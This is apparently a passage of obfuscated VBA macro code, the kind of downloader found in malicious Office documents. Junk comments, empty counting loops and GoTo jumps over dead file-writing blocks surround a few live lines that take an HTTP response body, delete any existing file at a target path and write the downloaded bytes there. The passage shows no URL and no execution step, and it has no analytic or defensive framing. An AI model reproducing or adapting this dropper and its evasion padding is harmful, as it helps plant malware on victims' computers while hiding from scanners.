'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "BXJPDR.BLJ" For Binary As 84

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim QCyzoESz As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
QCyzoESz = 7
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While QCyzoESz < 24
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: QCyzoESz = QCyzoESz + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #84, , LxbvDfMX

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim mLcSrXcZ As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
mLcSrXcZ = 2
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While mLcSrXcZ < 21
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: mLcSrXcZ = mLcSrXcZ + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #84

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim rGFwBgir As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
rGFwBgir = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While rGFwBgir < 28
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: rGFwBgir = rGFwBgir + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
fAKrbKer:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim WKtoUAOU As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
WKtoUAOU = 7
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While WKtoUAOU < 18
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: WKtoUAOU = WKtoUAOU + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    DoEvents

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo eKXGZytn
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim UDEpGAXl As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "LRLZFQ.EXJ" For Binary As 66

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim UxVUCxvG As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
UxVUCxvG = 7
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While UxVUCxvG < 71
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: UxVUCxvG = UxVUCxvG + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #66, , UDEpGAXl

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim ptXHfCRn As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
ptXHfCRn = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While ptXHfCRn < 65
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: ptXHfCRn = ptXHfCRn + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #66

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim OsHhleXl As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
OsHhleXl = 4
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While OsHhleXl < 44
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: OsHhleXl = OsHhleXl + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
eKXGZytn:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim FOhlTzWP As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
FOhlTzWP = 5
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While FOhlTzWP < 58
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: FOhlTzWP = FOhlTzWP + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Loop


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo fZFllCOY
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim LcxFYknc As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "BXGJPY.OFD" For Binary As 84

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim GAVPUSkJ As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GAVPUSkJ = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While GAVPUSkJ < 57
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: GAVPUSkJ = GAVPUSkJ + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #84, , LcxFYknc

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim vcglZtek As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
vcglZtek = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While vcglZtek < 65
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: vcglZtek = vcglZtek + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #84

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim DSrdgLQk As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DSrdgLQk = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While DSrdgLQk < 59
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: DSrdgLQk = DSrdgLQk + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
fZFllCOY:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim KoZjAKPU As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
KoZjAKPU = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While KoZjAKPU < 64
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: KoZjAKPU = KoZjAKPU + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    WEFIMYLQFEU = UUIBPVEDDRP.responseBody


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo DUHfGbQc
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim lZcIzMZh As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "SBHFMW.WJF" For Binary As 35

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim ztgIXjkY As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
ztgIXjkY = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While ztgIXjkY < 83
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: ztgIXjkY = ztgIXjkY + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #35, , lZcIzMZh

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim cYxzfCTw As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
cYxzfCTw = 5
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While cYxzfCTw < 81
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: cYxzfCTw = cYxzfCTw + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #35

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim ahmsEcPu As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
ahmsEcPu = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While ahmsEcPu < 75
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: ahmsEcPu = ahmsEcPu + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DUHfGbQc:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim BbnFqTrU As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
BbnFqTrU = 7
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While BbnFqTrU < 77
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: BbnFqTrU = BbnFqTrU + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    ZEDJSHDFWQK = FreeFile
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    If Dir(FKCRYFYLUWA) <> "" Then Kill FKCRYFYLUWA
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Open FKCRYFYLUWA For Binary As #ZEDJSHDFWQK

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo aeVPQLeW
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim YVTyVgWS As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "LPMNKT.LUM" For Binary As 68

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim dBjEoSUe As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
dBjEoSUe = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While dBjEoSUe < 64
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: dBjEoSUe = dBjEoSUe + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #68, , YVTyVgWS

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim AdtxWnhz As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
AdtxWnhz = 5
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While AdtxWnhz < 58
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: AdtxWnhz = AdtxWnhz + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #68

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim rXeYqzmD As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
rXeYqzmD = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While rXeYqzmD < 53
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: rXeYqzmD = rXeYqzmD + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
aeVPQLeW:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim eyooLoFf As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
eyooLoFf = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While eyooLoFf < 45
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: eyooLoFf = eyooLoFf + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Put #ZEDJSHDFWQK, , WEFIMYLQFEU

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo HlaxDutj
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim mgOJNACo As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "MZNAOR.EWV" For Binary As 66

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim AdpCzdHx As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
AdpCzdHx = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While AdpCzdHx < 34
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: AdpCzdHx = AdpCzdHx + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #66, , mgOJNACo

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim rXtgLpUV As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
rXtgLpUV = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While rXtgLpUV < 29
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: rXtgLpUV = rXtgLpUV + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #66

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim lqMiTBhV As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
lqMiTBhV = 4
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While lqMiTBhV < 24
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: lqMiTBhV = lqMiTBhV + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
HlaxDutj:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim qiYpUgeI As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
qiYpUgeI = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While qiYpUgeI < 93
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: qiYpUgeI = qiYpUgeI + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Close #ZEDJSHDFWQK

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo KtfcluRb
